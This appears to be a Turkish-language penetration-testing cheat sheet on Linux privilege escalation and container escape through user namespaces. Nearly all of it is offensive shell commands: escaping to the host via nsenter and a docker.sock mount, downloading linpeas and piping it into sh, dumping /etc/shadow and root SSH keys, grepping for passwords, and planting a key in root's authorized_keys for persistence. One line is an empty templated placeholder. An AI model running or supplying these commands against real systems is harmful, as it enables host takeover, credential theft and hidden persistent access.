Skip to content

User Namespace

linux containers

User Namespace Linux yerel yükseltme / post-erişim notudur. Amaç rastgele exploit değil; izin, SUID, capability, cron/systemd ve yazılabilir yolları enumerasyonla çıkarıp kanıtlanabilir root shell üretmek. Container kaçışında docker.sock, privileged ve host mount önceliklidir.

  1. Kimlik, kernel, sudo -l, SUID/cap ve dinleyen portları çıkar.

  2. User Namespace ile ilgili yazılabilir config/binary/timer/group yüzeyini doğrula.

  3. Primitifi PoC ile root veya eşdeğer yetkiye çevir.

  4. Shadow/SSH/history loot al; pivot notunu yaz.

User Namespace için önce kimlik, kernel, sudo ve SUID yüzeyini kilitle. Enum çıktısı sonraki hipotezleri besler; kör exploit denemeden önce harita çıkar.

Terminal window
id; whoami; hostname
Terminal window
uname -a
Terminal window
cat /etc/os-release
Terminal window
sudo -l 2>/dev/null
Terminal window
find / -perm -4000 -type f 2>/dev/null
Terminal window
getcap -r / 2>/dev/null
Terminal window
ps auxww
Terminal window
ss -lntp
Terminal window
cat /etc/crontab; ls -la /etc/cron.* /var/spool/cron 2>/dev/null
Terminal window
env | sort

Privileged, host mount, docker.sock ve runtime API kaçışın klasik kapılarıdır.

Terminal window
cat /proc/1/cgroup; cat /proc/self/status | rg Cap
Terminal window
ls -la /.dockerenv /var/run/docker.sock /run/containerd/containerd.sock 2>/dev/null
Terminal window
mount | rg ' / |docker|overlay'
Terminal window
fdisk -l 2>/dev/null; ls -la /dev/sda* /dev/nvme* 2>/dev/null
Terminal window
capsh --print
Terminal window
cat /proc/self/mountinfo | head
Terminal window
nsenter --target 1 --mount --uts --ipc --net /bin/bash # privileged
Terminal window
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host
Terminal window
ctr --address /run/containerd/containerd.sock containers ls
Terminal window
runc --root /run/docker/runtime-runc/moby list 2>/dev/null
Terminal window
find / -writable -type d 2>/dev/null | head -n 60
Terminal window
find /home /opt /var/www /tmp -type f -readable 2>/dev/null | head -n 40
Terminal window
ls -la /etc/passwd /etc/shadow /etc/sudoers 2>/dev/null
Terminal window
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
Terminal window
pspy64 -pf
Terminal window
cat /etc/shadow
Terminal window
ls -la /root/.ssh; cat /root/.ssh/id_* 2>/dev/null
Terminal window
find / -name '*.kdbx' -o -name '*id_rsa*' 2>/dev/null | head
Terminal window
history -a; cat /root/.bash_history ~/.bash_history 2>/dev/null | tail
Terminal window
sshd -T 2>/dev/null | head
Terminal window
ls -l /proc/self/ns
Terminal window
readlink /proc/1/ns/* /proc/self/ns/*
Terminal window
unshare -Umnr /bin/bash 2>/dev/null
Terminal window
cat /proc/self/uid_map /proc/self/gid_map
Terminal window
# User Namespace — hedefe özel varyant 19
Terminal window
ls -la /tmp /dev/shm /var/tmp
Terminal window
find /var/log -type f -readable 2>/dev/null | head
Terminal window
grep -Rni 'password\|passwd\|secret\|api_key' /home /opt /var/www 2>/dev/null | head -n 40
Terminal window
lsattr -a /etc/passwd /etc/shadow 2>/dev/null
Terminal window
cat /etc/fstab; mount | rg 'noexec|nosuid|nodev'
Terminal window
iptables -L -n 2>/dev/null | head; nft list ruleset 2>/dev/null | head
Terminal window
last -a | head; w; who
Terminal window
find / -name '*.bak' -o -name '*pass*' 2>/dev/null | head -n 30
Terminal window
python3 -c 'import pty; pty.spawn("/bin/bash")'
Terminal window
script -qc /bin/bash /dev/null
Terminal window
export TERM=xterm; stty rows 40 columns 120
Terminal window
ssh-keygen -t ed25519 -f /tmp/k -N ''
Terminal window
echo $(cat /tmp/k.pub) >> /root/.ssh/authorized_keys # root sonrası
[ ] id/uname/sudo -l alındı
[ ] SUID/cap/cron/systemd tarandı
[ ] Yazılabilir config/binary doğrulandı
[ ] Privesc PoC ile root kanıtlandı
[ ] Credential/SSH loot paketlendi

User Namespace sonuçları sürüm, yapılandırma ve koruma katmanına göre değişir. Komutları hedefe göre uyarla; başarılı zinciri adım adım kaydet.